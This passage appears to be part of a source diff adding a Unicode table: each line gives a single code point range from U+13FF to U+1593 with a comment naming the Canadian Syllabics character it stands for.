+ [0x13ff, 0x13ff],
+ [0x1400, 0x1400], /* CANADIAN SYLLABICS HYPHEN */
+ [0x1401, 0x1401], /* CANADIAN SYLLABICS E */
+ [0x1402, 0x1402], /* CANADIAN SYLLABICS AAI */
+ [0x1403, 0x1403], /* CANADIAN SYLLABICS I */
+ [0x1404, 0x1404], /* CANADIAN SYLLABICS II */
+ [0x1405, 0x1405], /* CANADIAN SYLLABICS O */
+ [0x1406, 0x1406], /* CANADIAN SYLLABICS OO */
+ [0x1407, 0x1407], /* CANADIAN SYLLABICS Y-CREE OO */
+ [0x1408, 0x1408], /* CANADIAN SYLLABICS CARRIER EE */
+ [0x1409, 0x1409], /* CANADIAN SYLLABICS CARRIER I */
+ [0x140a, 0x140a], /* CANADIAN SYLLABICS A */
+ [0x140b, 0x140b], /* CANADIAN SYLLABICS AA */
+ [0x140c, 0x140c], /* CANADIAN SYLLABICS WE */
+ [0x140d, 0x140d], /* CANADIAN SYLLABICS WEST-CREE WE */
+ [0x140e, 0x140e], /* CANADIAN SYLLABICS WI */
+ [0x140f, 0x140f], /* CANADIAN SYLLABICS WEST-CREE WI */
+ [0x1410, 0x1410], /* CANADIAN SYLLABICS WII */
+ [0x1411, 0x1411], /* CANADIAN SYLLABICS WEST-CREE WII */
+ [0x1412, 0x1412], /* CANADIAN SYLLABICS WO */
+ [0x1413, 0x1413], /* CANADIAN SYLLABICS WEST-CREE WO */
+ [0x1414, 0x1414], /* CANADIAN SYLLABICS WOO */
+ [0x1415, 0x1415], /* CANADIAN SYLLABICS WEST-CREE WOO */
+ [0x1416, 0x1416], /* CANADIAN SYLLABICS NASKAPI WOO */
+ [0x1417, 0x1417], /* CANADIAN SYLLABICS WA */
+ [0x1418, 0x1418], /* CANADIAN SYLLABICS WEST-CREE WA */
+ [0x1419, 0x1419], /* CANADIAN SYLLABICS WAA */
+ [0x141a, 0x141a], /* CANADIAN SYLLABICS WEST-CREE WAA */
+ [0x141b, 0x141b], /* CANADIAN SYLLABICS NASKAPI WAA */
+ [0x141c, 0x141c], /* CANADIAN SYLLABICS AI */
+ [0x141d, 0x141d], /* CANADIAN SYLLABICS Y-CREE W */
+ [0x141e, 0x141e], /* CANADIAN SYLLABICS GLOTTAL STOP */
+ [0x141f, 0x141f], /* CANADIAN SYLLABICS FINAL ACUTE */
+ [0x1420, 0x1420], /* CANADIAN SYLLABICS FINAL GRAVE */
+ [0x1421, 0x1421], /* CANADIAN SYLLABICS FINAL BOTTOM HALF RING */
+ [0x1422, 0x1422], /* CANADIAN SYLLABICS FINAL TOP HALF RING */
+ [0x1423, 0x1423], /* CANADIAN SYLLABICS FINAL RIGHT HALF RING */
+ [0x1424, 0x1424], /* CANADIAN SYLLABICS FINAL RING */
+ [0x1425, 0x1425], /* CANADIAN SYLLABICS FINAL DOUBLE ACUTE */
+ [0x1426, 0x1426], /* CANADIAN SYLLABICS FINAL DOUBLE SHORT VERTICAL STROKES */
+ [0x1427, 0x1427], /* CANADIAN SYLLABICS FINAL MIDDLE DOT */
+ [0x1428, 0x1428], /* CANADIAN SYLLABICS FINAL SHORT HORIZONTAL STROKE */
+ [0x1429, 0x1429], /* CANADIAN SYLLABICS FINAL PLUS */
+ [0x142a, 0x142a], /* CANADIAN SYLLABICS FINAL DOWN TACK */
+ [0x142b, 0x142b], /* CANADIAN SYLLABICS EN */
+ [0x142c, 0x142c], /* CANADIAN SYLLABICS IN */
+ [0x142d, 0x142d], /* CANADIAN SYLLABICS ON */
+ [0x142e, 0x142e], /* CANADIAN SYLLABICS AN */
+ [0x142f, 0x142f], /* CANADIAN SYLLABICS PE */
+ [0x1430, 0x1430], /* CANADIAN SYLLABICS PAAI */
+ [0x1431, 0x1431], /* CANADIAN SYLLABICS PI */
+ [0x1432, 0x1432], /* CANADIAN SYLLABICS PII */
+ [0x1433, 0x1433], /* CANADIAN SYLLABICS PO */
+ [0x1434, 0x1434], /* CANADIAN SYLLABICS POO */
+ [0x1435, 0x1435], /* CANADIAN SYLLABICS Y-CREE POO */
+ [0x1436, 0x1436], /* CANADIAN SYLLABICS CARRIER HEE */
+ [0x1437, 0x1437], /* CANADIAN SYLLABICS CARRIER HI */
+ [0x1438, 0x1438], /* CANADIAN SYLLABICS PA */
+ [0x1439, 0x1439], /* CANADIAN SYLLABICS PAA */
+ [0x143a, 0x143a], /* CANADIAN SYLLABICS PWE */
+ [0x143b, 0x143b], /* CANADIAN SYLLABICS WEST-CREE PWE */
+ [0x143c, 0x143c], /* CANADIAN SYLLABICS PWI */
+ [0x143d, 0x143d], /* CANADIAN SYLLABICS WEST-CREE PWI */
+ [0x143e, 0x143e], /* CANADIAN SYLLABICS PWII */
+ [0x143f, 0x143f], /* CANADIAN SYLLABICS WEST-CREE PWII */
+ [0x1440, 0x1440], /* CANADIAN SYLLABICS PWO */
+ [0x1441, 0x1441], /* CANADIAN SYLLABICS WEST-CREE PWO */
+ [0x1442, 0x1442], /* CANADIAN SYLLABICS PWOO */
+ [0x1443, 0x1443], /* CANADIAN SYLLABICS WEST-CREE PWOO */
+ [0x1444, 0x1444], /* CANADIAN SYLLABICS PWA */
+ [0x1445, 0x1445], /* CANADIAN SYLLABICS WEST-CREE PWA */
+ [0x1446, 0x1446], /* CANADIAN SYLLABICS PWAA */
+ [0x1447, 0x1447], /* CANADIAN SYLLABICS WEST-CREE PWAA */
+ [0x1448, 0x1448], /* CANADIAN SYLLABICS Y-CREE PWAA */
+ [0x1449, 0x1449], /* CANADIAN SYLLABICS P */
+ [0x144a, 0x144a], /* CANADIAN SYLLABICS WEST-CREE P */
+ [0x144b, 0x144b], /* CANADIAN SYLLABICS CARRIER H */
+ [0x144c, 0x144c], /* CANADIAN SYLLABICS TE */
+ [0x144d, 0x144d], /* CANADIAN SYLLABICS TAAI */
+ [0x144e, 0x144e], /* CANADIAN SYLLABICS TI */
+ [0x144f, 0x144f], /* CANADIAN SYLLABICS TII */
+ [0x1450, 0x1450], /* CANADIAN SYLLABICS TO */
+ [0x1451, 0x1451], /* CANADIAN SYLLABICS TOO */
+ [0x1452, 0x1452], /* CANADIAN SYLLABICS Y-CREE TOO */
+ [0x1453, 0x1453], /* CANADIAN SYLLABICS CARRIER DEE */
+ [0x1454, 0x1454], /* CANADIAN SYLLABICS CARRIER DI */
+ [0x1455, 0x1455], /* CANADIAN SYLLABICS TA */
+ [0x1456, 0x1456], /* CANADIAN SYLLABICS TAA */
+ [0x1457, 0x1457], /* CANADIAN SYLLABICS TWE */
+ [0x1458, 0x1458], /* CANADIAN SYLLABICS WEST-CREE TWE */
+ [0x1459, 0x1459], /* CANADIAN SYLLABICS TWI */
+ [0x145a, 0x145a], /* CANADIAN SYLLABICS WEST-CREE TWI */
+ [0x145b, 0x145b], /* CANADIAN SYLLABICS TWII */
+ [0x145c, 0x145c], /* CANADIAN SYLLABICS WEST-CREE TWII */
+ [0x145d, 0x145d], /* CANADIAN SYLLABICS TWO */
+ [0x145e, 0x145e], /* CANADIAN SYLLABICS WEST-CREE TWO */
+ [0x145f, 0x145f], /* CANADIAN SYLLABICS TWOO */
+ [0x1460, 0x1460], /* CANADIAN SYLLABICS WEST-CREE TWOO */
+ [0x1461, 0x1461], /* CANADIAN SYLLABICS TWA */
+ [0x1462, 0x1462], /* CANADIAN SYLLABICS WEST-CREE TWA */
+ [0x1463, 0x1463], /* CANADIAN SYLLABICS TWAA */
+ [0x1464, 0x1464], /* CANADIAN SYLLABICS WEST-CREE TWAA */
+ [0x1465, 0x1465], /* CANADIAN SYLLABICS NASKAPI TWAA */
+ [0x1466, 0x1466], /* CANADIAN SYLLABICS T */
+ [0x1467, 0x1467], /* CANADIAN SYLLABICS TTE */
+ [0x1468, 0x1468], /* CANADIAN SYLLABICS TTI */
+ [0x1469, 0x1469], /* CANADIAN SYLLABICS TTO */
+ [0x146a, 0x146a], /* CANADIAN SYLLABICS TTA */
+ [0x146b, 0x146b], /* CANADIAN SYLLABICS KE */
+ [0x146c, 0x146c], /* CANADIAN SYLLABICS KAAI */
+ [0x146d, 0x146d], /* CANADIAN SYLLABICS KI */
+ [0x146e, 0x146e], /* CANADIAN SYLLABICS KII */
+ [0x146f, 0x146f], /* CANADIAN SYLLABICS KO */
+ [0x1470, 0x1470], /* CANADIAN SYLLABICS KOO */
+ [0x1471, 0x1471], /* CANADIAN SYLLABICS Y-CREE KOO */
+ [0x1472, 0x1472], /* CANADIAN SYLLABICS KA */
+ [0x1473, 0x1473], /* CANADIAN SYLLABICS KAA */
+ [0x1474, 0x1474], /* CANADIAN SYLLABICS KWE */
+ [0x1475, 0x1475], /* CANADIAN SYLLABICS WEST-CREE KWE */
+ [0x1476, 0x1476], /* CANADIAN SYLLABICS KWI */
+ [0x1477, 0x1477], /* CANADIAN SYLLABICS WEST-CREE KWI */
+ [0x1478, 0x1478], /* CANADIAN SYLLABICS KWII */
+ [0x1479, 0x1479], /* CANADIAN SYLLABICS WEST-CREE KWII */
+ [0x147a, 0x147a], /* CANADIAN SYLLABICS KWO */
+ [0x147b, 0x147b], /* CANADIAN SYLLABICS WEST-CREE KWO */
+ [0x147c, 0x147c], /* CANADIAN SYLLABICS KWOO */
+ [0x147d, 0x147d], /* CANADIAN SYLLABICS WEST-CREE KWOO */
+ [0x147e, 0x147e], /* CANADIAN SYLLABICS KWA */
+ [0x147f, 0x147f], /* CANADIAN SYLLABICS WEST-CREE KWA */
+ [0x1480, 0x1480], /* CANADIAN SYLLABICS KWAA */
+ [0x1481, 0x1481], /* CANADIAN SYLLABICS WEST-CREE KWAA */
+ [0x1482, 0x1482], /* CANADIAN SYLLABICS NASKAPI KWAA */
+ [0x1483, 0x1483], /* CANADIAN SYLLABICS K */
+ [0x1484, 0x1484], /* CANADIAN SYLLABICS KW */
+ [0x1485, 0x1485], /* CANADIAN SYLLABICS SOUTH-SLAVEY KEH */
+ [0x1486, 0x1486], /* CANADIAN SYLLABICS SOUTH-SLAVEY KIH */
+ [0x1487, 0x1487], /* CANADIAN SYLLABICS SOUTH-SLAVEY KOH */
+ [0x1488, 0x1488], /* CANADIAN SYLLABICS SOUTH-SLAVEY KAH */
+ [0x1489, 0x1489], /* CANADIAN SYLLABICS CE */
+ [0x148a, 0x148a], /* CANADIAN SYLLABICS CAAI */
+ [0x148b, 0x148b], /* CANADIAN SYLLABICS CI */
+ [0x148c, 0x148c], /* CANADIAN SYLLABICS CII */
+ [0x148d, 0x148d], /* CANADIAN SYLLABICS CO */
+ [0x148e, 0x148e], /* CANADIAN SYLLABICS COO */
+ [0x148f, 0x148f], /* CANADIAN SYLLABICS Y-CREE COO */
+ [0x1490, 0x1490], /* CANADIAN SYLLABICS CA */
+ [0x1491, 0x1491], /* CANADIAN SYLLABICS CAA */
+ [0x1492, 0x1492], /* CANADIAN SYLLABICS CWE */
+ [0x1493, 0x1493], /* CANADIAN SYLLABICS WEST-CREE CWE */
+ [0x1494, 0x1494], /* CANADIAN SYLLABICS CWI */
+ [0x1495, 0x1495], /* CANADIAN SYLLABICS WEST-CREE CWI */
+ [0x1496, 0x1496], /* CANADIAN SYLLABICS CWII */
+ [0x1497, 0x1497], /* CANADIAN SYLLABICS WEST-CREE CWII */
+ [0x1498, 0x1498], /* CANADIAN SYLLABICS CWO */
+ [0x1499, 0x1499], /* CANADIAN SYLLABICS WEST-CREE CWO */
+ [0x149a, 0x149a], /* CANADIAN SYLLABICS CWOO */
+ [0x149b, 0x149b], /* CANADIAN SYLLABICS WEST-CREE CWOO */
+ [0x149c, 0x149c], /* CANADIAN SYLLABICS CWA */
+ [0x149d, 0x149d], /* CANADIAN SYLLABICS WEST-CREE CWA */
+ [0x149e, 0x149e], /* CANADIAN SYLLABICS CWAA */
+ [0x149f, 0x149f], /* CANADIAN SYLLABICS WEST-CREE CWAA */
+ [0x14a0, 0x14a0], /* CANADIAN SYLLABICS NASKAPI CWAA */
+ [0x14a1, 0x14a1], /* CANADIAN SYLLABICS C */
+ [0x14a2, 0x14a2], /* CANADIAN SYLLABICS SAYISI TH */
+ [0x14a3, 0x14a3], /* CANADIAN SYLLABICS ME */
+ [0x14a4, 0x14a4], /* CANADIAN SYLLABICS MAAI */
+ [0x14a5, 0x14a5], /* CANADIAN SYLLABICS MI */
+ [0x14a6, 0x14a6], /* CANADIAN SYLLABICS MII */
+ [0x14a7, 0x14a7], /* CANADIAN SYLLABICS MO */
+ [0x14a8, 0x14a8], /* CANADIAN SYLLABICS MOO */
+ [0x14a9, 0x14a9], /* CANADIAN SYLLABICS Y-CREE MOO */
+ [0x14aa, 0x14aa], /* CANADIAN SYLLABICS MA */
+ [0x14ab, 0x14ab], /* CANADIAN SYLLABICS MAA */
+ [0x14ac, 0x14ac], /* CANADIAN SYLLABICS MWE */
+ [0x14ad, 0x14ad], /* CANADIAN SYLLABICS WEST-CREE MWE */
+ [0x14ae, 0x14ae], /* CANADIAN SYLLABICS MWI */
+ [0x14af, 0x14af], /* CANADIAN SYLLABICS WEST-CREE MWI */
+ [0x14b0, 0x14b0], /* CANADIAN SYLLABICS MWII */
+ [0x14b1, 0x14b1], /* CANADIAN SYLLABICS WEST-CREE MWII */
+ [0x14b2, 0x14b2], /* CANADIAN SYLLABICS MWO */
+ [0x14b3, 0x14b3], /* CANADIAN SYLLABICS WEST-CREE MWO */
+ [0x14b4, 0x14b4], /* CANADIAN SYLLABICS MWOO */
+ [0x14b5, 0x14b5], /* CANADIAN SYLLABICS WEST-CREE MWOO */
+ [0x14b6, 0x14b6], /* CANADIAN SYLLABICS MWA */
+ [0x14b7, 0x14b7], /* CANADIAN SYLLABICS WEST-CREE MWA */
+ [0x14b8, 0x14b8], /* CANADIAN SYLLABICS MWAA */
+ [0x14b9, 0x14b9], /* CANADIAN SYLLABICS WEST-CREE MWAA */
+ [0x14ba, 0x14ba], /* CANADIAN SYLLABICS NASKAPI MWAA */
+ [0x14bb, 0x14bb], /* CANADIAN SYLLABICS M */
+ [0x14bc, 0x14bc], /* CANADIAN SYLLABICS WEST-CREE M */
+ [0x14bd, 0x14bd], /* CANADIAN SYLLABICS MH */
+ [0x14be, 0x14be], /* CANADIAN SYLLABICS ATHAPASCAN M */
+ [0x14bf, 0x14bf], /* CANADIAN SYLLABICS SAYISI M */
+ [0x14c0, 0x14c0], /* CANADIAN SYLLABICS NE */
+ [0x14c1, 0x14c1], /* CANADIAN SYLLABICS NAAI */
+ [0x14c2, 0x14c2], /* CANADIAN SYLLABICS NI */
+ [0x14c3, 0x14c3], /* CANADIAN SYLLABICS NII */
+ [0x14c4, 0x14c4], /* CANADIAN SYLLABICS NO */
+ [0x14c5, 0x14c5], /* CANADIAN SYLLABICS NOO */
+ [0x14c6, 0x14c6], /* CANADIAN SYLLABICS Y-CREE NOO */
+ [0x14c7, 0x14c7], /* CANADIAN SYLLABICS NA */
+ [0x14c8, 0x14c8], /* CANADIAN SYLLABICS NAA */
+ [0x14c9, 0x14c9], /* CANADIAN SYLLABICS NWE */
+ [0x14ca, 0x14ca], /* CANADIAN SYLLABICS WEST-CREE NWE */
+ [0x14cb, 0x14cb], /* CANADIAN SYLLABICS NWA */
+ [0x14cc, 0x14cc], /* CANADIAN SYLLABICS WEST-CREE NWA */
+ [0x14cd, 0x14cd], /* CANADIAN SYLLABICS NWAA */
+ [0x14ce, 0x14ce], /* CANADIAN SYLLABICS WEST-CREE NWAA */
+ [0x14cf, 0x14cf], /* CANADIAN SYLLABICS NASKAPI NWAA */
+ [0x14d0, 0x14d0], /* CANADIAN SYLLABICS N */
+ [0x14d1, 0x14d1], /* CANADIAN SYLLABICS CARRIER NG */
+ [0x14d2, 0x14d2], /* CANADIAN SYLLABICS NH */
+ [0x14d3, 0x14d3], /* CANADIAN SYLLABICS LE */
+ [0x14d4, 0x14d4], /* CANADIAN SYLLABICS LAAI */
+ [0x14d5, 0x14d5], /* CANADIAN SYLLABICS LI */
+ [0x14d6, 0x14d6], /* CANADIAN SYLLABICS LII */
+ [0x14d7, 0x14d7], /* CANADIAN SYLLABICS LO */
+ [0x14d8, 0x14d8], /* CANADIAN SYLLABICS LOO */
+ [0x14d9, 0x14d9], /* CANADIAN SYLLABICS Y-CREE LOO */
+ [0x14da, 0x14da], /* CANADIAN SYLLABICS LA */
+ [0x14db, 0x14db], /* CANADIAN SYLLABICS LAA */
+ [0x14dc, 0x14dc], /* CANADIAN SYLLABICS LWE */
+ [0x14dd, 0x14dd], /* CANADIAN SYLLABICS WEST-CREE LWE */
+ [0x14de, 0x14de], /* CANADIAN SYLLABICS LWI */
+ [0x14df, 0x14df], /* CANADIAN SYLLABICS WEST-CREE LWI */
+ [0x14e0, 0x14e0], /* CANADIAN SYLLABICS LWII */
+ [0x14e1, 0x14e1], /* CANADIAN SYLLABICS WEST-CREE LWII */
+ [0x14e2, 0x14e2], /* CANADIAN SYLLABICS LWO */
+ [0x14e3, 0x14e3], /* CANADIAN SYLLABICS WEST-CREE LWO */
+ [0x14e4, 0x14e4], /* CANADIAN SYLLABICS LWOO */
+ [0x14e5, 0x14e5], /* CANADIAN SYLLABICS WEST-CREE LWOO */
+ [0x14e6, 0x14e6], /* CANADIAN SYLLABICS LWA */
+ [0x14e7, 0x14e7], /* CANADIAN SYLLABICS WEST-CREE LWA */
+ [0x14e8, 0x14e8], /* CANADIAN SYLLABICS LWAA */
+ [0x14e9, 0x14e9], /* CANADIAN SYLLABICS WEST-CREE LWAA */
+ [0x14ea, 0x14ea], /* CANADIAN SYLLABICS L */
+ [0x14eb, 0x14eb], /* CANADIAN SYLLABICS WEST-CREE L */
+ [0x14ec, 0x14ec], /* CANADIAN SYLLABICS MEDIAL L */
+ [0x14ed, 0x14ed], /* CANADIAN SYLLABICS SE */
+ [0x14ee, 0x14ee], /* CANADIAN SYLLABICS SAAI */
+ [0x14ef, 0x14ef], /* CANADIAN SYLLABICS SI */
+ [0x14f0, 0x14f0], /* CANADIAN SYLLABICS SII */
+ [0x14f1, 0x14f1], /* CANADIAN SYLLABICS SO */
+ [0x14f2, 0x14f2], /* CANADIAN SYLLABICS SOO */
+ [0x14f3, 0x14f3], /* CANADIAN SYLLABICS Y-CREE SOO */
+ [0x14f4, 0x14f4], /* CANADIAN SYLLABICS SA */
+ [0x14f5, 0x14f5], /* CANADIAN SYLLABICS SAA */
+ [0x14f6, 0x14f6], /* CANADIAN SYLLABICS SWE */
+ [0x14f7, 0x14f7], /* CANADIAN SYLLABICS WEST-CREE SWE */
+ [0x14f8, 0x14f8], /* CANADIAN SYLLABICS SWI */
+ [0x14f9, 0x14f9], /* CANADIAN SYLLABICS WEST-CREE SWI */
+ [0x14fa, 0x14fa], /* CANADIAN SYLLABICS SWII */
+ [0x14fb, 0x14fb], /* CANADIAN SYLLABICS WEST-CREE SWII */
+ [0x14fc, 0x14fc], /* CANADIAN SYLLABICS SWO */
+ [0x14fd, 0x14fd], /* CANADIAN SYLLABICS WEST-CREE SWO */
+ [0x14fe, 0x14fe], /* CANADIAN SYLLABICS SWOO */
+ [0x14ff, 0x14ff], /* CANADIAN SYLLABICS WEST-CREE SWOO */
+ [0x1500, 0x1500], /* CANADIAN SYLLABICS SWA */
+ [0x1501, 0x1501], /* CANADIAN SYLLABICS WEST-CREE SWA */
+ [0x1502, 0x1502], /* CANADIAN SYLLABICS SWAA */
+ [0x1503, 0x1503], /* CANADIAN SYLLABICS WEST-CREE SWAA */
+ [0x1504, 0x1504], /* CANADIAN SYLLABICS NASKAPI SWAA */
+ [0x1505, 0x1505], /* CANADIAN SYLLABICS S */
+ [0x1506, 0x1506], /* CANADIAN SYLLABICS ATHAPASCAN S */
+ [0x1507, 0x1507], /* CANADIAN SYLLABICS SW */
+ [0x1508, 0x1508], /* CANADIAN SYLLABICS BLACKFOOT S */
+ [0x1509, 0x1509], /* CANADIAN SYLLABICS MOOSE-CREE SK */
+ [0x150a, 0x150a], /* CANADIAN SYLLABICS NASKAPI SKW */
+ [0x150b, 0x150b], /* CANADIAN SYLLABICS NASKAPI S-W */
+ [0x150c, 0x150c], /* CANADIAN SYLLABICS NASKAPI SPWA */
+ [0x150d, 0x150d], /* CANADIAN SYLLABICS NASKAPI STWA */
+ [0x150e, 0x150e], /* CANADIAN SYLLABICS NASKAPI SKWA */
+ [0x150f, 0x150f], /* CANADIAN SYLLABICS NASKAPI SCWA */
+ [0x1510, 0x1510], /* CANADIAN SYLLABICS SHE */
+ [0x1511, 0x1511], /* CANADIAN SYLLABICS SHI */
+ [0x1512, 0x1512], /* CANADIAN SYLLABICS SHII */
+ [0x1513, 0x1513], /* CANADIAN SYLLABICS SHO */
+ [0x1514, 0x1514], /* CANADIAN SYLLABICS SHOO */
+ [0x1515, 0x1515], /* CANADIAN SYLLABICS SHA */
+ [0x1516, 0x1516], /* CANADIAN SYLLABICS SHAA */
+ [0x1517, 0x1517], /* CANADIAN SYLLABICS SHWE */
+ [0x1518, 0x1518], /* CANADIAN SYLLABICS WEST-CREE SHWE */
+ [0x1519, 0x1519], /* CANADIAN SYLLABICS SHWI */
+ [0x151a, 0x151a], /* CANADIAN SYLLABICS WEST-CREE SHWI */
+ [0x151b, 0x151b], /* CANADIAN SYLLABICS SHWII */
+ [0x151c, 0x151c], /* CANADIAN SYLLABICS WEST-CREE SHWII */
+ [0x151d, 0x151d], /* CANADIAN SYLLABICS SHWO */
+ [0x151e, 0x151e], /* CANADIAN SYLLABICS WEST-CREE SHWO */
+ [0x151f, 0x151f], /* CANADIAN SYLLABICS SHWOO */
+ [0x1520, 0x1520], /* CANADIAN SYLLABICS WEST-CREE SHWOO */
+ [0x1521, 0x1521], /* CANADIAN SYLLABICS SHWA */
+ [0x1522, 0x1522], /* CANADIAN SYLLABICS WEST-CREE SHWA */
+ [0x1523, 0x1523], /* CANADIAN SYLLABICS SHWAA */
+ [0x1524, 0x1524], /* CANADIAN SYLLABICS WEST-CREE SHWAA */
+ [0x1525, 0x1525], /* CANADIAN SYLLABICS SH */
+ [0x1526, 0x1526], /* CANADIAN SYLLABICS YE */
+ [0x1527, 0x1527], /* CANADIAN SYLLABICS YAAI */
+ [0x1528, 0x1528], /* CANADIAN SYLLABICS YI */
+ [0x1529, 0x1529], /* CANADIAN SYLLABICS YII */
+ [0x152a, 0x152a], /* CANADIAN SYLLABICS YO */
+ [0x152b, 0x152b], /* CANADIAN SYLLABICS YOO */
+ [0x152c, 0x152c], /* CANADIAN SYLLABICS Y-CREE YOO */
+ [0x152d, 0x152d], /* CANADIAN SYLLABICS YA */
+ [0x152e, 0x152e], /* CANADIAN SYLLABICS YAA */
+ [0x152f, 0x152f], /* CANADIAN SYLLABICS YWE */
+ [0x1530, 0x1530], /* CANADIAN SYLLABICS WEST-CREE YWE */
+ [0x1531, 0x1531], /* CANADIAN SYLLABICS YWI */
+ [0x1532, 0x1532], /* CANADIAN SYLLABICS WEST-CREE YWI */
+ [0x1533, 0x1533], /* CANADIAN SYLLABICS YWII */
+ [0x1534, 0x1534], /* CANADIAN SYLLABICS WEST-CREE YWII */
+ [0x1535, 0x1535], /* CANADIAN SYLLABICS YWO */
+ [0x1536, 0x1536], /* CANADIAN SYLLABICS WEST-CREE YWO */
+ [0x1537, 0x1537], /* CANADIAN SYLLABICS YWOO */
+ [0x1538, 0x1538], /* CANADIAN SYLLABICS WEST-CREE YWOO */
+ [0x1539, 0x1539], /* CANADIAN SYLLABICS YWA */
+ [0x153a, 0x153a], /* CANADIAN SYLLABICS WEST-CREE YWA */
+ [0x153b, 0x153b], /* CANADIAN SYLLABICS YWAA */
+ [0x153c, 0x153c], /* CANADIAN SYLLABICS WEST-CREE YWAA */
+ [0x153d, 0x153d], /* CANADIAN SYLLABICS NASKAPI YWAA */
+ [0x153e, 0x153e], /* CANADIAN SYLLABICS Y */
+ [0x153f, 0x153f], /* CANADIAN SYLLABICS BIBLE-CREE Y */
+ [0x1540, 0x1540], /* CANADIAN SYLLABICS WEST-CREE Y */
+ [0x1541, 0x1541], /* CANADIAN SYLLABICS SAYISI YI */
+ [0x1542, 0x1542], /* CANADIAN SYLLABICS RE */
+ [0x1543, 0x1543], /* CANADIAN SYLLABICS R-CREE RE */
+ [0x1544, 0x1544], /* CANADIAN SYLLABICS WEST-CREE LE */
+ [0x1545, 0x1545], /* CANADIAN SYLLABICS RAAI */
+ [0x1546, 0x1546], /* CANADIAN SYLLABICS RI */
+ [0x1547, 0x1547], /* CANADIAN SYLLABICS RII */
+ [0x1548, 0x1548], /* CANADIAN SYLLABICS RO */
+ [0x1549, 0x1549], /* CANADIAN SYLLABICS ROO */
+ [0x154a, 0x154a], /* CANADIAN SYLLABICS WEST-CREE LO */
+ [0x154b, 0x154b], /* CANADIAN SYLLABICS RA */
+ [0x154c, 0x154c], /* CANADIAN SYLLABICS RAA */
+ [0x154d, 0x154d], /* CANADIAN SYLLABICS WEST-CREE LA */
+ [0x154e, 0x154e], /* CANADIAN SYLLABICS RWAA */
+ [0x154f, 0x154f], /* CANADIAN SYLLABICS WEST-CREE RWAA */
+ [0x1550, 0x1550], /* CANADIAN SYLLABICS R */
+ [0x1551, 0x1551], /* CANADIAN SYLLABICS WEST-CREE R */
+ [0x1552, 0x1552], /* CANADIAN SYLLABICS MEDIAL R */
+ [0x1553, 0x1553], /* CANADIAN SYLLABICS FE */
+ [0x1554, 0x1554], /* CANADIAN SYLLABICS FAAI */
+ [0x1555, 0x1555], /* CANADIAN SYLLABICS FI */
+ [0x1556, 0x1556], /* CANADIAN SYLLABICS FII */
+ [0x1557, 0x1557], /* CANADIAN SYLLABICS FO */
+ [0x1558, 0x1558], /* CANADIAN SYLLABICS FOO */
+ [0x1559, 0x1559], /* CANADIAN SYLLABICS FA */
+ [0x155a, 0x155a], /* CANADIAN SYLLABICS FAA */
+ [0x155b, 0x155b], /* CANADIAN SYLLABICS FWAA */
+ [0x155c, 0x155c], /* CANADIAN SYLLABICS WEST-CREE FWAA */
+ [0x155d, 0x155d], /* CANADIAN SYLLABICS F */
+ [0x155e, 0x155e], /* CANADIAN SYLLABICS THE */
+ [0x155f, 0x155f], /* CANADIAN SYLLABICS N-CREE THE */
+ [0x1560, 0x1560], /* CANADIAN SYLLABICS THI */
+ [0x1561, 0x1561], /* CANADIAN SYLLABICS N-CREE THI */
+ [0x1562, 0x1562], /* CANADIAN SYLLABICS THII */
+ [0x1563, 0x1563], /* CANADIAN SYLLABICS N-CREE THII */
+ [0x1564, 0x1564], /* CANADIAN SYLLABICS THO */
+ [0x1565, 0x1565], /* CANADIAN SYLLABICS THOO */
+ [0x1566, 0x1566], /* CANADIAN SYLLABICS THA */
+ [0x1567, 0x1567], /* CANADIAN SYLLABICS THAA */
+ [0x1568, 0x1568], /* CANADIAN SYLLABICS THWAA */
+ [0x1569, 0x1569], /* CANADIAN SYLLABICS WEST-CREE THWAA */
+ [0x156a, 0x156a], /* CANADIAN SYLLABICS TH */
+ [0x156b, 0x156b], /* CANADIAN SYLLABICS TTHE */
+ [0x156c, 0x156c], /* CANADIAN SYLLABICS TTHI */
+ [0x156d, 0x156d], /* CANADIAN SYLLABICS TTHO */
+ [0x156e, 0x156e], /* CANADIAN SYLLABICS TTHA */
+ [0x156f, 0x156f], /* CANADIAN SYLLABICS TTH */
+ [0x1570, 0x1570], /* CANADIAN SYLLABICS TYE */
+ [0x1571, 0x1571], /* CANADIAN SYLLABICS TYI */
+ [0x1572, 0x1572], /* CANADIAN SYLLABICS TYO */
+ [0x1573, 0x1573], /* CANADIAN SYLLABICS TYA */
+ [0x1574, 0x1574], /* CANADIAN SYLLABICS NUNAVIK HE */
+ [0x1575, 0x1575], /* CANADIAN SYLLABICS NUNAVIK HI */
+ [0x1576, 0x1576], /* CANADIAN SYLLABICS NUNAVIK HII */
+ [0x1577, 0x1577], /* CANADIAN SYLLABICS NUNAVIK HO */
+ [0x1578, 0x1578], /* CANADIAN SYLLABICS NUNAVIK HOO */
+ [0x1579, 0x1579], /* CANADIAN SYLLABICS NUNAVIK HA */
+ [0x157a, 0x157a], /* CANADIAN SYLLABICS NUNAVIK HAA */
+ [0x157b, 0x157b], /* CANADIAN SYLLABICS NUNAVIK H */
+ [0x157c, 0x157c], /* CANADIAN SYLLABICS NUNAVUT H */
+ [0x157d, 0x157d], /* CANADIAN SYLLABICS HK */
+ [0x157e, 0x157e], /* CANADIAN SYLLABICS QAAI */
+ [0x157f, 0x157f], /* CANADIAN SYLLABICS QI */
+ [0x1580, 0x1580], /* CANADIAN SYLLABICS QII */
+ [0x1581, 0x1581], /* CANADIAN SYLLABICS QO */
+ [0x1582, 0x1582], /* CANADIAN SYLLABICS QOO */
+ [0x1583, 0x1583], /* CANADIAN SYLLABICS QA */
+ [0x1584, 0x1584], /* CANADIAN SYLLABICS QAA */
+ [0x1585, 0x1585], /* CANADIAN SYLLABICS Q */
+ [0x1586, 0x1586], /* CANADIAN SYLLABICS TLHE */
+ [0x1587, 0x1587], /* CANADIAN SYLLABICS TLHI */
+ [0x1588, 0x1588], /* CANADIAN SYLLABICS TLHO */
+ [0x1589, 0x1589], /* CANADIAN SYLLABICS TLHA */
+ [0x158a, 0x158a], /* CANADIAN SYLLABICS WEST-CREE RE */
+ [0x158b, 0x158b], /* CANADIAN SYLLABICS WEST-CREE RI */
+ [0x158c, 0x158c], /* CANADIAN SYLLABICS WEST-CREE RO */
+ [0x158d, 0x158d], /* CANADIAN SYLLABICS WEST-CREE RA */
+ [0x158e, 0x158e], /* CANADIAN SYLLABICS NGAAI */
+ [0x158f, 0x158f], /* CANADIAN SYLLABICS NGI */
+ [0x1590, 0x1590], /* CANADIAN SYLLABICS NGII */
+ [0x1591, 0x1591], /* CANADIAN SYLLABICS NGO */
+ [0x1592, 0x1592], /* CANADIAN SYLLABICS NGOO */
+ [0x1593, 0x1593], /* CANADIAN SYLLABICS NGA */
